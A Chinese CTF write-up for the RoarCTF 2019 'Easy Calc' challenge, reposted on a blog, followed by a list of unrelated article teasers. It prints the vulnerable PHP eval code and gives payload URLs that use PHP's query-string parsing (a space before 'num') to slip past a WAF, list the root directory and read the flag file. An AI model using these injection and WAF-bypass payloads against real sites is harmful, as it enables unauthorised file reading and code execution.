BUU17 [RoarCTF 2019]Easy Calc1

自用

源代碼

$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("這啥?算不來!");}})return false;})

代碼解釋

代碼語言涉及:?jQuery,AJAX

表單提交事件綁定

$('#calc').submit(function(){// ...return false;
});
  • $('#calc'):使用 jQuery 選擇器選中 ID 為?calc?的表單元素。
  • .submit():為表單元素綁定提交事件,當表單提交時會觸發傳入的回調函數。
  • return false;:阻止表單的默認提交行為,防止頁面刷新。

??AJAX 請求

$.ajax({url: "calc.php?num=" + encodeURIComponent($("#content").val()),type: 'GET',success: function(data) {// ...},error: function() {// ...}
});
  1. $.ajax():jQuery 提供的用于發起 AJAX 請求的函數,接受一個配置對象作為參數。
  2. url:請求的 URL,這里將 ID 為?content?的輸入框中的值進行編碼后作為?num?參數添加到?calc.php?的 URL 后面。encodeURIComponent()?函數用于對特殊字符進行編碼,確保參數傳遞的正確性。
  3. type:請求的類型,這里使用?GET?請求。
  4. success:請求成功時的回調函數,data?參數表示服務器返回的數據。
  5. error:請求失敗時的回調函數。

成功回調函數?

success: function(data) {$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);
}
  • $("#result"):使用 jQuery 選擇器選中 ID 為?result?的元素。
  • .html():將指定的 HTML 內容插入到選中元素中。這里使用了模板字符串(ES6 特性)將服務器返回的結果?data?插入到一個帶有?alert alert-success?類的?div?元素中

錯誤回調函數??

error: function() {alert("這啥?算不來!");
}

做法

看見源代碼中有calc.php,訪問得到源碼

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

用system()或者exec()執行?

不行--在 phpinfo 中可以發現 system、exec 這一類命令執行的函數被禁用了

我們知道PHP將查詢字符串(在URL或正文中)轉換為內部$_GET或的關聯數組$_POST。例如:/?foo=bar變成Array([foo] => “bar”)。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。例如,/?%20news[id%00=42會轉換為Array([news_id] => 42)。如果一個IDS/IPS或WAF中有一條規則是當news_id參數的值是一個非數字的值則攔截,那么我們就可以用以下語句繞過:

/news.php?%20news[id%00=42"+AND+1=0–

上述PHP語句的參數%20news[id%00的值將存儲到$_GET[“news_id”]中。

HP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:

1.刪除空白符

2.將某些字符轉換為下劃線(包括空格)

?顯示用var_dump()或print_r(),當前目錄用scandir(),屏蔽/可用chr(47)代替,查看文件用file_get_content()highlight_file()

http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(scandir(chr(47)))

發現f1agg文件

查看文件用file_get_content()或者highlight_file()

http://node5.buuoj.cn:25688/calc.php/calc.php/?%20num=print_r(file_get_contents(chr(47).f1agg))

?參考文章:[RoarCTF 2019]Easy Calc_[roarctf 2019]easy calc 1-CSDN博客

利用PHP的字符串解析特性Bypass - FreeBuf網絡安全行業門戶

【BUUCTF】[RoarCTF 2019]Easy Calc1_[roarctf 2019]easy calc 1-CSDN博客

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/894931.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/894931.shtml
英文地址,請注明出處:http://en.pswp.cn/news/894931.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

5. k8s二進制集群之ETCD集群部署

下載etcd安裝包創建etcd配置文件準備證書文件和etcd存儲目錄ETCD證書文件安裝(分別對應指定節點)創建證書服務的配置文件啟動etcd集群驗證etcd集群狀態繼續上一篇文章《k8s二進制集群之ETCD集群證書生成》下面介紹一下etcd證書生成配置。 下載etcd安裝包 https://github.com…

Java并發編程筆記

Java并發基礎知識補全 啟動 啟動線程的方式只有&#xff1a; 1、X extends Thread;&#xff0c;然后X.start 2、X implements Runnable&#xff1b;然后交給Thread運行 線程的狀態 Java中線程的狀態分為6種&#xff1a; 1. 初始(NEW)&#xff1a;新創建了一個線程對象&…

使用多模態大語言模型進行深度學習的圖像、文本和語音數據增強

在過去的五年里&#xff0c;研究方向已從傳統的機器學習&#xff08;ML&#xff09;和深度學習&#xff08;DL&#xff09;方法轉向利用大語言模型&#xff08;LLMs&#xff09;&#xff0c;包括多模態方法&#xff0c;用于數據增強&#xff0c;以提高泛化能力&#xff0c;并在…

Windows Docker筆記-Docker拉取鏡像

通過在前面的章節《安裝docker》中&#xff0c;了解并安裝成功了Docker&#xff0c;本章講述如何使用Docker拉取鏡像。 使用Docker&#xff0c;主要是想要創建并運行Docker容器&#xff0c;而容器又要根據Docker鏡像來創建&#xff0c;那么首當其沖&#xff0c;必須要先有一個…

YOLOv11-ultralytics-8.3.67部分代碼閱讀筆記-autobatch.py

autobatch.py ultralytics\utils\autobatch.py 目錄 autobatch.py 1.所需的庫和模塊 2.def check_train_batch_size(model, imgsz640, ampTrue, batch-1, max_num_obj1): 3.def autobatch(model, imgsz640, fraction0.60, batch_sizeDEFAULT_CFG.batch, max_num_obj1): …

【文件上傳、秒傳、分片上傳、斷點續傳、重傳】

文章目錄 獲取文件對象文件上傳&#xff08;秒傳、分片上傳、斷點續傳、重傳&#xff09;優化 獲取文件對象 input標簽的onchange方法接收到的參數就是用戶上傳的所有文件 <html lang"en"><head><title>文件上傳</title><style>#inp…

Office/WPS接入DS等多個AI工具,開啟辦公新模式!

在現代職場中&#xff0c;Office辦公套件已成為工作和學習的必備工具&#xff0c;其功能強大但復雜&#xff0c;熟練掌握需要系統的學習。為了簡化操作&#xff0c;使每個人都能輕松使用各種功能&#xff0c;市場上涌現出各類辦公插件。這些插件不僅提升了用戶體驗&#xff0c;…

FPGA的IP核接口引腳含義-快解

疑問 手冊繁瑣&#xff0c;怎樣快速了解IP核各輸入輸出接口引腳的含義。 答疑 不慌不慌&#xff0c;手冊確實比較詳細但繁瑣&#xff0c;如何快速知曉該部分信息&#xff0c;濤tao道長給你們說&#xff0c;簡單得很&#xff0c;一般新入門的道友有所不知&#xff0c;往往后面…

GnuTLS: 在 pull 函數中出錯。 無法建立 SSL 連接。

提示信息 [root@localhost ~]# wget https://download.docker.com/linux/static/stable/x86_64/docker-27.5.1.tgz --2025-02-06 12:45:34-- https://download.docker.com/linux/static/stable/x86_64/docker-27.5.1.tgz 正在解析主機 download.docker.com (download.docker.…

Python3+Request+Pytest+Allure+Jenkins 接口自動化測試[手動寫的和AI寫的對比]

我手動寫的參考 總篇:Python3+Request+Pytest+Allure+Jenkins接口自動化框架設計思路_jenkins python3+request-CSDN博客 https://blog.csdn.net/fen_fen/article/details/144269072 下面是AI寫的:Python3+Request+Pytest+Allure+Jenkins 接口自動化測試[AI文章框架] 在軟…

告別手動操作!用Ansible user模塊高效管理 Linux賬戶

在企業運維環境中&#xff0c;服務器的用戶管理是一項基礎但非常重要的任務。比如&#xff0c;當有新員工加入時&#xff0c;我們需要在多臺服務器上為他們創建賬戶并分配合適的權限。而當員工離職或崗位發生變化時&#xff0c;我們也需要迅速禁用或刪除他們的賬戶&#xff0c;…

ADC模數轉換器概念函數及應用

ADC模數轉換器概念函數及應用 文章目錄 ADC模數轉換器概念函數及應用1.ADC簡介2.逐次逼近型ADC2.1逐次逼近型ADC2.2stm32逐次逼近型2.3ADC基本結構2.4十六個通道 3.規則組的4種轉換模式3.1單次轉換&#xff0c;非掃描模式3.2連續轉換&#xff0c;非掃描模式3.3單次轉換&#xf…

探索前端框架的未來:Svelte 的崛起

引言 在前端開發的世界里&#xff0c;框架更新換代的速度仿佛光速。從 jQuery 到 Angular&#xff0c;再到如今大熱的 React 和 Vue&#xff0c;開發者們不斷追逐更輕量、更快、更易于維護的框架。如今&#xff0c;Svelte 正悄然崛起&#xff0c;并引發了關于前端框架未來的熱烈…

DeepSeek在FPGA/IC開發中的創新應用與未來潛力

隨著人工智能技術的飛速發展&#xff0c;以DeepSeek為代表的大語言模型&#xff08;LLM&#xff09;正在逐步滲透到傳統硬件開發領域。在FPGA&#xff08;現場可編程門陣列&#xff09;和IC&#xff08;集成電路&#xff09;開發這一技術密集型行業中&#xff0c;DeepSeek憑借其…

數據結構在 Web 開發中的重要性與應用

數據結構是 Web 開發的基石&#xff0c;直接關系到應用程序的效率、可擴展性和可維護性。 根據實際需求選擇合適的數據結構&#xff0c;能夠有效優化性能、簡化代碼&#xff0c;并提升用戶體驗。 本文將深入探討 PHP 和 Laravel 中的常用數據結構&#xff0c;并結合實際案例&am…

20240824 美團 筆試

文章目錄 1、單選題1.11.21.31.41.51.61.71.81.91.101.111.121.131.141.151.161.171.181.191.202、編程題2.12.2崗位:硬件開發工程師(嵌入式系統軟件開發方向) 題型:20 道單選題,2 道編程題題 1、單選題 1.1 C 語言中,如果輸入整數 v 是 2 的冪,下面表達式中哪個會返…

【Elasticsearch】nested聚合

在 Elasticsearch 中&#xff0c;嵌套聚合&#xff08;nestedaggregation&#xff09;的語法形式用于對嵌套字段&#xff08;nestedfields&#xff09;進行聚合操作。嵌套字段是 Elasticsearch 中的一種特殊字段類型&#xff0c;用于存儲數組中的對象&#xff0c;這些對象需要獨…

【Uniapp-Vue3】創建DB schema數據表結構

右鍵uniCloud文件下的database文件&#xff0c;點擊“新建DB schema”&#xff0c;選擇模板&#xff0c;修改文件名&#xff0c;點擊“創建” 創建完成后會出現對應的文件&#xff0c;進入該文件進行配置 對文件中的必填選項&#xff0c;用戶權限&#xff0c;字段進行配置 其…

解決react中函數式組件usestate異步更新

問題&#xff1a;在點擊modal組件確認后 調用后端接口&#xff0c;使用setstateone&#xff08;false&#xff09;使modal組件關閉&#xff0c;但是設置后關閉不了&#xff0c;在設置setstateone&#xff08;false&#xff09;前后打印出了對應的stateone都為true&#xff0c;但…

OpenAI 實戰進階教程 - 第六節: OpenAI 與爬蟲集成實現任務自動化

爬蟲與 OpenAI 模型結合&#xff0c;不僅能高效地抓取并分析海量數據&#xff0c;還能通過 NLP 技術生成洞察、摘要&#xff0c;極大提高業務效率。以下是一些實際工作中具有較高價值的應用案例&#xff1a; 1. 電商價格監控與智能分析 應用場景&#xff1a; 電商企業需要監控…